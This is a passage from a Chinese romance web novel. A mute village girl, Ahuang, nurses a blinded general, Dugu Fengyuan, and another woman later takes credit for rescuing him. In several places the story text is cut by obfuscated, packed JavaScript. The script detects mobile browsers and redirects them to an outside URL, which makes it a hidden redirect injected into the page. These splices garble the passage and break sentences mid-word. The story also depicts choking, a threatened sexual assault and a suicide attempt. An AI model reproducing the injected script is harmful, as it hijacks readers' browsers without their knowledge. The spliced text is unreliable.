她刚转身,那个男人就神出鬼没地出现在身后,在她还没反应过来的时候掐住了她的脖子。 此时此刻,阿凰才知道什么是叫天天不应叫地地不灵,她连叫救命的机会都没有,只能双手抓住男人的胳膊拼命挣扎。 “说,谁派你来的?”男人突然开口了,语气冷得可怕,好像她回答得不满意就扭断她的脖子。 她也确实无法回答,只能发出一丝嘶哑的声音。 “说出你的身份,否则我让你当场毙命。”男人又威胁着道,眸中十分警惕,微微偏着脑袋,下意识用耳朵去捕捉一切声音,眼珠子一直转动,好像找不到焦点。 阿凰发现问题了,他看不见。 她被男人举起来,两脚都离地了,只能更拼命地挣扎,两脚乱踹着,踹倒了很多东西。 终于有人听到动静,外面来了人,看到屋里的一切吓得大叫一声,男人听到声音也跟着转过身,可手机还是不肯放开阿凰。 “你这畜生!你快放了阿凰!你要害死你的救命恩人吗?”邻居愤怒地吼道,手里抄了家伙,可是害怕男人会伤到阿凰,不敢贸然行动。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126062|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男人眸中闪过一丝迟疑,嘴里还是问:“你们是什么人?” “什么人?”邻居冷哼一声,“我们是庄稼人,伺候不了你这尊大佛,既然醒来就走吧,也不指望你能知恩图报,还不快放了阿凰?” 感受到脖子上的力道松懈了一点,阿凰努力往嘴里吸气,大口呼吸着。 那邻居看着阿凰心疼不已,说:“我们阿凰只是一介孤女,还说不了话,她一向心善,救了你这白眼狼回家,照顾了你这么久,连你身上的衣服都是她花钱买的,你一醒来就要她的命,还有天理吗?你快放过她,就此离去吧!我们清水村不欢迎你这种人!” 男人面色凝重,似乎在思索可信性,手中的力道不自觉轻了许多,阿凰用力一挣扎,终于摆脱他的魔爪,跪坐到地上,邻居立刻冲过来护着她,瞪着男人,生怕他还会做出什么过激的事。 阿凰指了指男人的眼睛,做了个摆手的动作,邻居好一会儿才理解了她的意思,尝试着上前去,在男人的眼前挥了挥手,他毫无反应。 “把村长叫来,把这个人赶出村子去吧,这么是非不分,还想伤你,留不得他了。”邻居愤愤不平道。 阿凰阻止他,好一阵比划,他才点点头,离开前,他又警告男人:“阿凰心善,我可不会轻易放过你,要是再让我发现你欺负她,我们整个村子的人就把你抓起来,装在猪笼里丢下清水河!” 屋子里又安静下来,一个不会说话,一个不爱说话,寂静无声。 良久,男人启唇:“是你救了我?” 阿凰下意识点点头,可是反应过来他看不见,正想着怎么和他交流,他又开口了。 “你说不了话?” 阿凰敲了一下桌子。 “这里是清水村?” 阿凰又敲了一下桌子。 男人眸中的冷色减少了许多,他说:“我明白了。” 东明国城镇千千万,小小一个清水村,以曾经发生过灾祸而让他留有印象。 “多谢你,方才是我冲动了,我向你致歉。”男人又说。 阿凰其实可以理解他的行为,他这一身伤,也许是被人追杀留下的,所以命悬一线,也因此才对周围的一切过分警惕,更何况现如今他目不能视,更是把脑袋提在裤腰上活。 “你可以叫我独孤……算了。”他的话头一止,反应过来她说不了话,这么告诉她也没用。 “由于我现在看不见,这段时间内无法离开,多有麻烦,等到我亲朋好友找到我的那天便会离去。” 桌子“哒”响了一声,表示同意。 “我虽看不见,但你以后可以在我手上写字……”话音未落,独孤凤渊又是一顿。 村子里的人怎么会写字?他怀疑自己脑袋摔傻了,今天怎么错误频出。 手上却传来痒意,轻轻的,像羽毛在手心拂过,女子的清香萦绕在鼻尖,一股极浅的温暖的气息近乎飘到怀里,提醒着他,那个女孩在他面前。 等他反应过来,才知道刚刚阿凰在他手心写的内容是:我会写字。 19. 不经逗 自从独孤凤渊醒来之后,他身上的伤就恢复得很快,只是因为暂时瞎了眼,行动不便,阿凰便寸步不离地照顾他。 他的观察力惊人得可怕,某天他发现了阿凰一直睡在屋子里的小角落,把自己的床让出来给他,于是他说什么也要让阿凰回去,自己要睡地上。 再三劝解下他才同意继续睡床上,阿凰也表达了自己会找几块木板来搭个简易的床,不会再睡地上了。 “我叫独孤凤渊,凤凰的凤,深渊的渊。”他忽然说,“你会写吗?” 虽然这么问,可是他已经伸出手,阿凰便在他的手心里一笔一划地写完了他的名字。 “写我的名字太麻烦了,以后你要是想写,可以只写一个凤字。” 阿凰觉得一点也不麻烦,觉得他的名字真好听,人如其名,好看的他,好听的名字。 “你有没有发现,我们的名字很相配?一个凤,一个凰,真的只是巧合吗?” 虽然他看不见,可是阿凰觉得,他的眼睛真好看,此时的他眸中的笑意能让她醉倒其中,好像他深深地看着她。 她写不出反驳的话,只是觉得耳朵很烫,整个人都好不自在,扭头就要跑出门。 “不许跑。”独孤凤渊抓住了她的手,“难道是我说错话了?那我很抱歉,我很少和女子接触,也许会不经意就伤了女子的心,你若不喜欢我不再说了。” 阿凰没再跑出去,在他手心写道:不必抱歉,我没有计较。 “那你为什么要跑?真的不是不喜欢我吗?”独孤凤渊伸出手摸到她的头发,顺着往下走,摸了她的耳朵。 “你的耳朵很烫。”他的声音近乎贴在她耳边,呼出来的气把她的耳朵熏得更红了。 阿凰总算明白了,他就是故意的。 自从发现她不经逗,他每次都要这样逗她,直到最后她整个人都像烧红了似的求饶,他才肯放开她。 她挣扎着要走,可是她的力气哪里拗得过习武的独孤凤渊? 偏偏这种时候他还要贴着她耳边说:“你确定要这样跑出去见人吗?” 阿凰失去了所有手段,只能写字说:我要去教孩子们写字。 “真的吗?” 这一反问,更让阿凰坐立不安。 “再陪陪我吧。” 她就这么莫名其妙地和独孤凤渊挨着坐下。 “我想听你吹曲子。” 一曲相思意,眼前人似海中月。 “以后我给你找来最好的玉石做成笛子。” 阿凰写:好。 我想教你一首歌。 远看阿郎赶牛来耶,赶牛来耶,惹得阿妹悄悄猜,若是他日成双对,愿为阿妹摘云彩哟咿哟。 写完歌词,她用笛子将旋律吹出来,独孤凤渊很快就学会了。 “以前我从来没有想过身旁要有一个人陪伴,甚至还很鄙夷对妻子言听计从的兄弟。”独孤凤渊轻笑一声,“人只有自己亲身经历,才能懂得内心深处的渴望。” 阿凰不知道该写什么。 他转过来,眼睛还在下意识乱转,可是始终无法找到焦点。 “我多想看看你的样子,想看见你教孩子们识字,想亲眼看着你吹笛子,这些场景一定很美,已经在我脑海里上演了无数次。” 阿凰缓缓抬手,摸了摸自己脸上的胎记。 你不会想看到我的模样的。 然而阿凰的脑海里,夜月姬看着两个人亲密无间的场景,久久不能言语。 进入凡尘十二镜后,所有人都失去了记忆,进行着不一样的人生,可是夜月姬还有记忆,只是不能再呼唤阿凰,什么也做不了。 “命苦的姑娘,现实里嗓子毁了也就算了,虚拟世界里更过分,直接变成哑巴了,好不容易暗恋的人也喜欢自己,最双向奔赴的一集,却不能表达心意,看哭了,好想换台。” 夜月姬有一种看热闹的心理,这两个人,哎……真不敢想象,经历了这样的幻境,回到现实中,他们会是什么反应?估计会很尴尬吧? 特别是阿凰,夜月姬甚至觉得她这一辈子,直到死了也不会说出自己的心意,经历幻境,现实里阿凰可能要羞愧得一头撞死了,大概要好几天不敢见人吧。 夜月姬做好了劝解自家白菜的准备。 白菜?夜月姬反应过来,相处了这么久,她从阿凰小时候就附身了,好像在自己都没发现的时候,早就把阿凰当自己的后辈。 嗯……独孤凤渊对她来说就是一头山猪,不识好歹的野猪,就知道伤自家白菜的心。 很无奈,白菜就喜欢这头山猪啊,喜欢又不敢说。但是夜月姬也觉得,说了也没用,山猪正在被人蛊惑着呢。 阿凰要去学堂给孩子们教字,独孤凤渊却坚持着要一同前去。 “我虽看不到,可我也想体验你的生活,难道你要剥夺我出门的自由吗?” 没办法,阿凰只能搀扶着他走。 到了学堂,孩子们已经到齐了,坐在自己的位置上交头接耳,一看到来了人,大家齐刷刷看过来,年纪大一些的孩子先打趣起来,剩下的孩子们也跟着起哄。 “这就是阿凰姐姐捡到的那个人吗?” “他真的看不见哎。” “他个子好高,长得真好看!” 孩子们一拥而上,围在阿凰身边叽叽喳喳,帮着她搀扶独孤凤渊,有个孩子趁机搬了把板凳过来让他坐下。 等到孩子们都回到座位坐好,阿凰开始检查之前交代的作业,每个人轮流上前来,在板子上写下她新教的字,一个个歪歪扭扭黑色的“饭”字留在木板上。 其实独孤凤渊一直很好奇,阿凰说不了话是怎么做到教孩子们学字的?这一刻他的疑惑得到了解答,她不能说话,所以只能教一些能用事物指代的字,这样发音的问题就得到了解决,孩子们明白了某一事物是哪个字,她就可以教他们写了,只是限制太大了。 果然,趁孩子们写字的功夫,阿凰在他手心写字,说她能教的字都差不多了,剩下的她无法发出声音,教不了。 “你要教什么,可以写给我,我告诉孩子们怎么念。”独孤凤渊说。 阿凰十分高兴,好像有他在,一切问题都能迎刃而解。 她想教孩子们更实用的东西,循序渐进地在独孤凤渊手心写字,再由他说出来,一点一点地教育村庄里的孩子们。 好在这些孩子们虽然没什么基础,条件也不好,但是都非常争气,肯努力刻苦,教的东西都能慢慢学会。 还有几个孩子很想和她学吹笛子,家里人拗不过,请人帮忙做了笛子,他们也都很认真地学,已经学会了吹几首简单的曲子,在农忙后,大家在院子里吹风,他们就有了展示的舞台。 独孤凤渊虽然看不见,但似乎可以想象眼前的场景,耳边的一切动静都传入耳中,有时他也会觉得,这样平和安定的日子也不错。 可他不能安定,他松懈了,这些平民百姓就要受难。 于是有一天,阿凰在院子里晒衣服,他坐在一旁,忽然问:“阿凰,我不在的日子里,你会好好的吗?你会想起我吗?” 阿凰手中动作一顿,此时她才想起来,他只是在这里养伤的,等他好了终究会离开。 你要走了吗?她在他手心写。 “我有不得不走的理由。”他说。 阿凰没有回答。 “我知道你无法放下这里的孩子们,可我还是想问,你会愿意和我走吗?”独孤凤渊问。 好一会儿,阿凰才写:去哪里? 他眼中一亮,仿佛看到了希望,声音里都带了期翼:“去我家,你愿意吗?那里什么也不缺,你想要什么都有,想做什么都可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126063|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以,我也尚未娶妻,你不需要像别的女人那样和丈夫的妻妾勾心斗角,我这辈子只会有你一个妻子,只有一点,我事务繁忙,会经常无法陪伴在你身边。” 阿凰看着他聚焦不到她身上的眼睛,心想,任何一个女人看着这双眼睛,给予这样的承诺,都会感动得流下眼泪吧?怎么会有人忍心拒绝他呢? 可是,他有不得不离开的理由,她也有无法舍弃的东西啊。 这些日子相处下来,阿凰早就猜出来他的身份不一般了,什么身份地位她都不在乎,她只在乎和他相识相伴的这些日子,她也不奢望被他带回家飞上枝头变凤凰的美梦,只是想珍惜相处的时光,希望他在很久以后,也会偶尔想起她,想起这些日子。 等这些孩子们学会了一分半点本事,等我教无所教,我会去找你。阿凰在他手心写道。 “好。”独孤凤渊一只手掌就能把她的两只手握住,“到了京城,你只需要报出我的名号,定会有人带你去见我。” 阿凰这辈子从未出过远门,对外面的世界也毫无了解,在听到他说的这番信息,也只是觉得听起来高攀不起,光是京城两个字就足够唬人了。 手心沉甸甸的,阿凰张开手,一枚玉佩被塞进手中,玉佩上刻了一个“凤”字。 独孤凤渊语气温和:“这是我母亲亲自为我寻的好料子,请大师打成玉佩,因我常年在外为我祈求平安,我随身携带着,你拿着这枚玉佩,别人自会认得,即便你有难处,把玉佩卖了也能换不少钱。” 既然是母亲的心意,还是平安符一样的东西,怎么能轻易送人呢?阿凰再三推脱,被他挂在腰上才不得不接受了,想来这是将来唯一能找到他的信物,重逢后再还给他就是。 不知道独孤凤渊什么时候就走了,阿凰格外珍惜剩下的时光,有时也由着他做些出格的事,一开始和他十指相扣都扭扭捏捏,现在已经能接受被他抱着了。 夏日炎炎,许多山果都结果了,阿凰有时会上山采些野果回来。 正好山李子山桃都长得不错,今日她的篓子里装满了各种各样的果子,在河边洗干净就带回家。 路过别人家的时候,她把果子分出去了一些,留着一小半。 回到家就看到独孤凤渊在摸索着慢慢走,这些日子,他早已适应环境,对家里的布局了如指掌,不需要拐杖也能自己走路了。 从春天到夏天,他的伤几乎全好了,只剩眼睛还未痊愈。 阿凰把果子放在桌子上,把独孤凤渊扶进屋里,让他尝尝她刚摘的果子。 他非要她喂,每吃一颗果子嘴唇就不小心碰到她的指尖,花了半天时间才把那点果子吃光。 等到她将装果子的碗拿出去,再回到房间,忽然被他抱进怀中。 发烧了?阿凰还在疑惑,没来得及写,就被男人抱得更紧,他的气息好像更烫人了。 她只是挣扎了一下,独孤凤渊就警告出声,声音低沉:“别动,我会做坏事的。” 她不敢动了,从未见过这样的他。 “你给我吃了什么?” 阿凰摇摇头,仔细回忆了一下,难道是果子有问题? 果然,独孤凤渊在她耳边吐出一个果实的名字,金萼果,她并不陌生,然而他说出果实的功效,她愣住了。 滋阴补阳,固精缩尿。 天旋地转,阿凰回到了自己床上,都是那个人的气息,她要呼吸不过来了。 整个人都飘飘忽忽的,快要找不到自己了…… 她阻止了那只手继续向下,推开独孤凤渊跑出去。 直到跑了很远,她才停下来,靠着树干气喘吁吁。 摸了摸红润的唇,似乎有点红肿,某个人太过着急,差点被啃出血了。 她心中十分纠结。 既然决定了要离去,为什么还要撩拨她? 20. 小医仙 独孤凤渊闷闷不乐很久了,阿凰本就不会说话,两个人都沉默后,寂静得可怕。 她如往常一样倒了药水给他,送到他嘴边,这次他没反应,她便用手指戳戳他的脸颊,还是没反应。 她在他手心写:喝药。 “不喝,反正没人要我这个瞎子。” 没人要你早就被赶出去了。阿凰写。 独孤凤渊这才肯喝药,不过他拍了拍自己的大腿,说:“你坐过来。” 这样怎么喂药?她写。 然后被他拉着坐在他大腿上,他说:“你先喝一口。” 又没人给你下毒。 写完,阿凰疑惑他想干嘛,照做喝了一口汤药。 独孤凤渊一只手臂环抱住怀里的少女,听到她喝了药,另一只手摸索到她的脸,扣住她后脑勺,突然贴了上来,一点点把药水汲取干净。 “这药不苦,好喝,再来一口。” 听到他得逞的语气,阿凰又羞又恼,想逃走却被他死死按住。 “就连最后陪我的时间你都不肯给我吗?”独孤凤渊用额头贴着她的额头,语调忧愁。 她忽然间就无力拒绝了,是啊,她一直都想好好珍惜剩下的时光,趁着人就在眼前,还总是扭捏什么呢? 最后喝完一碗药,阿凰甚至感觉用了几个时辰,两个人都呼吸不稳了,额头贴着额头,脸对着脸,对方的气息近在咫尺。 阿凰脑海里,看完这一切的夜月姬觉得,回到现实后这两个人一定会很尴尬的吧,一个一心爱着那个团宠,从不把别人放在眼里,另一个不敢直面自己的感情,连偷偷看他一眼都怕被发现。 真是难搞哦……出去以后,他们还怎么面对彼此呢?真是很好奇。 尤其是独孤凤渊,是会对这些经历恼羞成怒,还是会改变自己的心意? 不过,夜月姬还有一点好奇的事,正枫此人并未参与凡尘十二镜,怎么也出现在这里了?她只能认为,镜中世界出现的具体的人,都是入镜者见过的人。 药就快吃完了,正好许多东西也需要采办,阿凰便要去问问谁家有去镇上的打算,她想搭顺风车。 她自己是没有养牛马驴的,每次出门只能搭别人的牛车。 独孤凤渊想出去看看,觉得眼睛似乎有所好转,阿凰便借了邻居的牛车来。 “若此时我看得见就好了,我想带着你策马扬鞭,无论是山间林里,还是繁华都城,我都想带着你去看看。”独孤凤渊憧憬着说。 阿凰空出一只手,握住他的手,嘴角带了笑意,望着前头的牛往前路而行,大路蜿蜒曲折。 他所说的一切她都很向往,她没有什么远大的愿望,就算到达不了那些美好的未来,只是两个人为了平凡的生活而忙碌,并肩前去赶集,一起坐在院子里吹风,一起给屋外的花儿浇水,都是很好的日子。 寂静良久,独孤凤渊道:“我想做的事情太多,未来的计划很繁忙,但我的时间里永远有你的一份。” 他想看得见,阿凰又何尝不想说出话呢,她也想告诉他,他很好,他想做的事一定会达成,而她也会永远守着他。 经过一处密林间的小路,赶路的牛停下来吃草,阿凰也不急着催它,可是牛越吃越多,好像没有要继续走的意思。 “怎么了?”独孤凤渊出声问。 阿凰正要赶牛,它突然甩甩牛头,不受控制地往另外的方向冲出去。 整个板车都在颠簸,车上的阿凰和独孤凤渊也摇摇晃晃,努力抓着板车边缘才能不被甩下来。 虽然过了几个月的安定日子,独孤凤渊也没有丝毫松懈,危急时刻立刻警惕起来,抽出身上带的匕首,说:“阿凰,割断绳子。” 这时候贸然跳车只会受伤,何况他看不见? 阿凰接过匕首,另一只手努力抓紧板车,挪动身子过去,好不容易就要够到绳子,此时整个车身一震,她和独孤凤渊都被甩出去,天翻地覆间一直向山坡下滚去。 颠簸了好久,感觉滚落好远,阿凰才停下来,躺在地上缓了好一会儿才缓过来,视线搜寻独孤凤渊的身影,看见他躺在不远处一动不动。 阿凰吓得赶紧连滚带爬跑过去,独孤凤渊脑袋上流了血,不知道撞到了什么,好在气息还在,只是暂且昏迷了。 她刚把他背起来,就听到有人说话的声音在靠近:“我亲眼看着他们滚下这里,快搜!” 虽然不知道来人的身份,可是一听就知道不是什么好人好事,联想到第一次见到独孤凤渊的样子,阿凰猜测这些人肯定是他的仇家,他现在的样子,落在敌人手里只能任人宰割。 奋力背着他挪动,四处搜寻可以藏身的地方,阿凰终于看到一堆干枯的杂草,似乎是这块地的主人刚除了草,堆在一起。 阿凰把他塞到杂草堆里,又从他头上抹了一些血抹在自己身上,迅速离开独孤凤渊藏身的地方,跑出去。 远处那些人还在搜寻目标,见了慌慌张张的阿凰,立刻就追上来。 她只跑了一小段路就被逮住,头发被人从身后抓住,头皮又痛又辣。 “说,另一个人在哪里?”有人在用不耐烦的声音问。 阿凰害怕极了,这么多年她哪里遇到过这种事,这么可怕的人?可是她不能害怕,更不能露馅,否则就前功尽弃了。 她张开嘴发出嘶哑的“嗬嗬”,指了指自己的嘴巴,又摆摆手。 那些人领会了她的意思,讥讽道:“原来是个哑巴啊。” “哑巴没关系,只需要听得懂人话就行了,快带路,把那个人找出来,否则……” 几个人眼神不善,阿凰感觉被恶心的东西粘在身上,下意识抱紧自己,即便如此她也不想妥协,只是摇头。 见她不肯服从,有人□□着说:“这娘们丑是丑了点,不过身材不错,要是再不肯说,哼哼……我们就用让你一辈子记忆深刻的办法逼你招供。” 阿凰整个人都僵住了,她好想逃,好想有人救救她,想到独孤凤渊就被藏在不远处,她更绝望了。 “别多事,抓紧找到人复命。”有个人冷冷地说。 另外的人收敛许多,阿凰顿时松了一口气,至少她暂时不会被…… “有人来了。”那人警惕起来,转身看去,沉默了会儿,“是敌非友,走。” 阿凰还没来得及反应就被打晕了。 没多久,一个身穿鹅黄色衣衫的少女赶来,看到眼前空无一人,可是还有敌人的气息,叹了口气。 “真是的,又来晚了。” 顾纯儿正准备离去,发现不远处的杂草堆里有动静,跑了过去,里面还在沙沙响。 她把杂草扒开,就看到满头是血的独孤凤渊,他缓缓转醒,只是依然很虚弱。 睁开眼的那一刻,他受光线刺激下意识眯着眼睛,好一会儿才适应了,睁开眼睛,有气无力道:“我看见了……” 看到面前的少女,独孤凤渊伸出手,下一刻又晕了过去。 看到他眼睛的那一刻,顾纯儿眸中惊喜未定,等他晕过去,她便思索起来。 “真是一双好眼睛……”顾纯儿眼中分不清是羡慕还是嫉恨。 她找了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是你救了我?”独孤凤渊问着,不知为何,记忆中好像在几个月以前他也这么问过。 他的记忆只有被追杀落难后,被一个女子救了,暂时瞎了眼,他和那个女子似乎相处了几个月,而后再度遇险,别的再不记得了。 似乎,中途醒了一次,就是看到眼前这少女的场景。 顾纯儿点点头说:“我给你喂了些药,你昏迷了两天,终于醒了。” 独孤凤渊伸出手,落难这段时间的记忆还有些模糊,他说:“我又能看见了。” “兴许是你撞了脑袋,便阴差阳错地恢复了。”顾纯儿说。 原来如此,不过也正因如此,他丢失了一些记忆。 独孤凤渊暼到了少女腰间的玉佩,那是他随身携带的,他还有一点记忆,这是他失明的时候送给了救下自己的女子。 原本那点疑虑也消失殆尽,他还模糊的记得,两人之间关系亲密。 “我好像不记得你了。” 顾纯儿坐在他面前,她的嗓音本就甜美,此时刻意柔和下来说:“没关系,既然救了你,我一定会负责到底,直到你恢复为止,我可是药宗的小医仙,药到病除!” 药宗?独孤凤渊知道这股势力,也一直派人求药宗出山,战争死伤惨重,他需要药宗为军中助力,只可惜药宗对外宣称中立,谁也不帮。 既如此,他对于眼前的少女再也无所顾忌,不仅是他的救命恩人,还是药宗的人,是她救了他就十分合理。 “能再告诉我,你叫什么名字吗?”独孤凤渊看着她。 若换作别的女子,早就醉在他这样的眼神当中。 然而顾纯儿神色如常,甜甜一笑:“我呀?世人唤我小医仙,你也可以叫我的名字,顾纯儿。” 21. 去找他 东明,盛京,人来人往,车水马龙,一派盛世繁华之景象。 最繁华之处,矗立着一家四季酒楼,号称永不歇业,欢迎天下所有来客。 至于四季酒楼背后真正的势力,一直众说纷纭,甚至有人猜测和皇室有关。 此时酒楼深处某个雅间,阿凰蹑手蹑脚地趴在门后面,竖起耳朵仔细听着外面的动静。 她已经被关在这里好几天了,虽然听不到看不到外面有没有人在看守,但她尝试过打开门,纹丝不动。 她醒来的第一天,抬头就看到一个少年坐在椅子上,居高临下地看着她,她想以自己是哑巴为由装傻,可是那人命手下拿来笔墨纸砚让她写字,否则就要剁掉她的手。 不得已,事到如今想装傻也装不了了,阿凰只能写字和少年交流,根本不敢看一眼他充满攻击性的目光。 对方无非就是要她说出独孤凤渊的下落,而阿凰听着外面嘈杂的声音,判断出此处肯定早已远离清水村那边,可她也不敢断定独孤凤渊目前是死是活,还在原地亦或者已经离开。 她便半真半假地写:那天我们滚下山坡,我晕了一会儿才醒来,自己也摔得一身血,还没来得及找到他,就被你的手下抓到了。 少年狐疑地看向几个手下,他们如实汇报那天的情况,他这才暂且信了,可还是半信半疑地盯着阿凰,仿佛要看出什么破绽。 阿凰本以为这就结束了,可少年不肯放她走,反而要好心招待她,给她买了新衣服,一顿好吃好喝,唯独不让她离开这间屋子。 回过神来,阿凰无力地靠在门板上,她不清楚那个少年到底要做什么,若说要软禁逼供,可一日三餐样样不缺,每日都有人准时送来饭菜。 门外又传来脚步声,阿凰本以为是今日送饭的人来了,可一想,时候不对,顿时多了几分警惕,回到桌子边坐好。 门板“吱呀”一声被推开,少年走了进来,旁若无人地坐在阿凰对面。 她不知道他叫什么,只知道他的手下们称呼他为少主。 关了她这么些日子,也查不出个有用的信息,宋清希原本以为,她一个普通人,就这么一直关着她,总会有天受不了的。 可现在一看,她除了每天都战战兢兢的,也看不出别的,更遑论她一个哑巴,真要逼供,就怕弄死了人也不一定能问出个什么,反倒是失去一个得来不易的棋子。 就在今天,宋清希得到一个消息,定西大将军平安无事地回到了京城,还带了个药宗的小医仙。 他这才坐不住了,急着榨干阿凰仅剩的价值。 “从今往后你不用再心惊胆战了,我不会再问你独孤凤渊的下落。”宋清希手臂撑在桌子上,上半身压过来,咄咄逼人。 阿凰以为他从自己身上问不出有用的东西,终于要放弃了,终于要放她走了,却听到他说:“因为独孤凤渊回到京城了,还带了个娇滴滴的女人,你说,你为了他差点丢了性命,此时此刻还被关着,他转头却带了别的女人回家,他会记着你的付出吗?” 捕捉到阿凰眼里的失落,宋清希得逞了,再接再厉:“这么一个负心汉,你一个平凡女子为了他做到如此地步,何苦呢?难道你就不恨他?” 无所谓了,她从未想过要独孤凤渊报答自己,一开始救了他也只是因为看到他快死了,相处下来的发展是水到渠成的,两个人都没有刻意控制,既然如此,她与他再无瓜葛。 阿凰写道:既然你已经得知他的下落,我对你也没有用处了,还请放我一条生路,我只想回到村子里。 宋清希却冷笑一声,说:“你也真是窝囊,自己男人被抢了一点脾气都没有?” 她写:他不是我的,我也不是他的,如今我们只是过路人。 面前的少年无奈了,好像拿她没办法,嗤笑一声,又说:“你也知道现在你就是没有用处的人,那你就不怕我把你处理了?反正,失去作用的东西就该消失,我不介意手上多沾点血。” 本以为又能从她脸上看到惊恐的表情,这一次,阿凰却没那么害怕了,写道:反正我一直叫你放了我也没用,你想杀我,我还有什么办法? 盯着她看了好一会儿,宋清希才恢复嘲弄的神情,说:“原来这就是哀莫大于心死?真有意思。” 阿凰反应平平,他突然就觉得没意思了。 “我现在给你一个救自己的机会。”宋清希道,“你最好祈祷独孤凤渊是个念旧情的人,对你还有一丝感情,你回到他身边,当好你的内应,与我里应外合,你只需要完成我下达的命令,待时机成熟,我自会放你自由。” 要她在独孤凤渊身边当卧底?虽然阿凰还没有真正了解他的身份,更不清楚这个少主的背景,不明白这两个人到底有什么仇恨,潜意识里觉得这个少主不是什么好人,但是要她做卧底,她做不到。 更别提他嘴里的时机成熟放她自由是真是假,不还是他一张嘴说了算。 可是,如果她说她做不到,这个少主会立刻让她去死的吧?一想到他那几个手下,那天被他们抓住的场景,阿凰不敢想象,惹急了他,他会不会就纵容手下对她做出那种事了…… 与其如此屈辱地死去,死前还会被折磨得生不如死,还不如…… 阿凰瞄准了桌子的尖角,一鼓作气,脑袋卯足了劲撞上去。 然而没有想象中的疼痛,她睁开眼,宋清希掐住她的脖子,制止了她的动作,把她往地上一扔。 “想在我的眼皮子底下解脱?”宋清希眸中闪过恼怒之色,“我让你死了吗?” 阿凰整个人像晒干了的花儿,蔫蔫的,垂头坐在地上。 求生不得,求死不能,她只是清水村一个普普通通的平民百姓啊,为什么会惹上这些人? 而宋清希俯视地上的女子,久久未言语。本以为这种弱小的人会很怕死,很惜命,得到一线生机就会出卖一切能出卖的,他却想不到她会如此忠贞,竟为了一个负心汉,宁可寻死也绝不背叛? 发觉安静了太久,阿凰疑惑抬头,宋清希此时说:“我认同你的忠贞,不过我也很好奇,你的顽强能让你坚持多久?” 阿凰不明白,他说:“我暂且放你一马,不过你最好请求老天保佑,不要再遇到我,再有下次,我可不会保证有没有这么好的心情能留你一命。” 她半信半疑,不确定对方是不是在耍自己,等她一逃跑就出手杀了她,可眼下这是唯一的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126065|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会,来之不易,就算是假的她也只能试试。 宋清希转过身去背对着她:“在我转身之前消失在这里。” 跑!拼了命地跑! 一路上都没有人阻拦她,阿凰穿过人群,鼓足一口气漫无目的地逃跑。 很久之后,她再也跑不动了,回过头发现没有人跟着自己,浑身脱力躺倒在地上,脑子里却还是不敢掉以轻心,大脑催促自己继续跑,可是身体已经透支了。 一阵耳鸣,头晕目眩,眼前发黑,她晕了过去。 再次醒来时,阿凰发现自己躺在一张精致的床上,身下的锦被更是她这辈子都没见过的料子,房间里还有淡淡的熏香,似乎是安神的香,她心中感觉十分平静。 她下床穿了鞋子,发现自己身上又换了一套衣装,她虽没见过世面,也看得出来多么精致金贵。 在房间里一边走一边看了会儿,门口有人开了门进来,是一个锦衣华服的少年,面相倒很老实,让阿凰想起了正枫,心中冒出一丝亲切感。 也许是因为离家太远,人生地不熟,下意识把与熟人相似的人当自己人吧。 也不知道正枫怎么样了,不知道街坊邻居们会不会找她费了很多心思,不知道她不在之后,还有人能继续教孩子们吗? “这位姑娘,你醒了?”那少年蹦蹦跳跳地过来,活像个还没长大的孩子,稚气未脱。 阿凰用手比划了一阵,想表达自己不会说话,可以写字,需要纸和笔,那少年看了好久,终于反应过来她说不了话了。 “噢噢!你是要纸笔吗?”少年说着跑了出去,没多久折返,带了需要的东西回来。 两人交流下来,阿凰得知少年是宋府的公子,说可以叫他小宋,而他们此时身处一处客栈之中,小宋是在路上看到了昏迷的她,便把她带到客栈休息。 听了她的经历,小宋倍感同情:“你是不是无家可归啊,要不要去我家?我家里可大了,什么都有,你住一辈子都没关系!” 这是阿凰吃了一路的苦头,第一次遇到这么好的人,心里十分感动,不过她没那么厚脸皮住在别人家里,而且她还惦记着清水村的大家,便向小宋问路,他说从未听闻清水村。 想来也是,京城之中的公子怎么会知道小小一个清水村怎么走呢? 她不知道回去的路,可有一个人一定知道。 心中涌起一阵酸涩,她不知道那个少主说的话只是为了刺激她,还是真的发生了,知道独孤凤渊现在平安地回到京城,她已经放心了,这就足够了,至于他身边有了新欢,她也没办法,他的人生还有很多选择,而她只想回到清水村,过回以前的生活。 阿凰不好意思麻烦人家小宋太久,便要告辞了,可他担心她一个人上路太危险,非要送她。 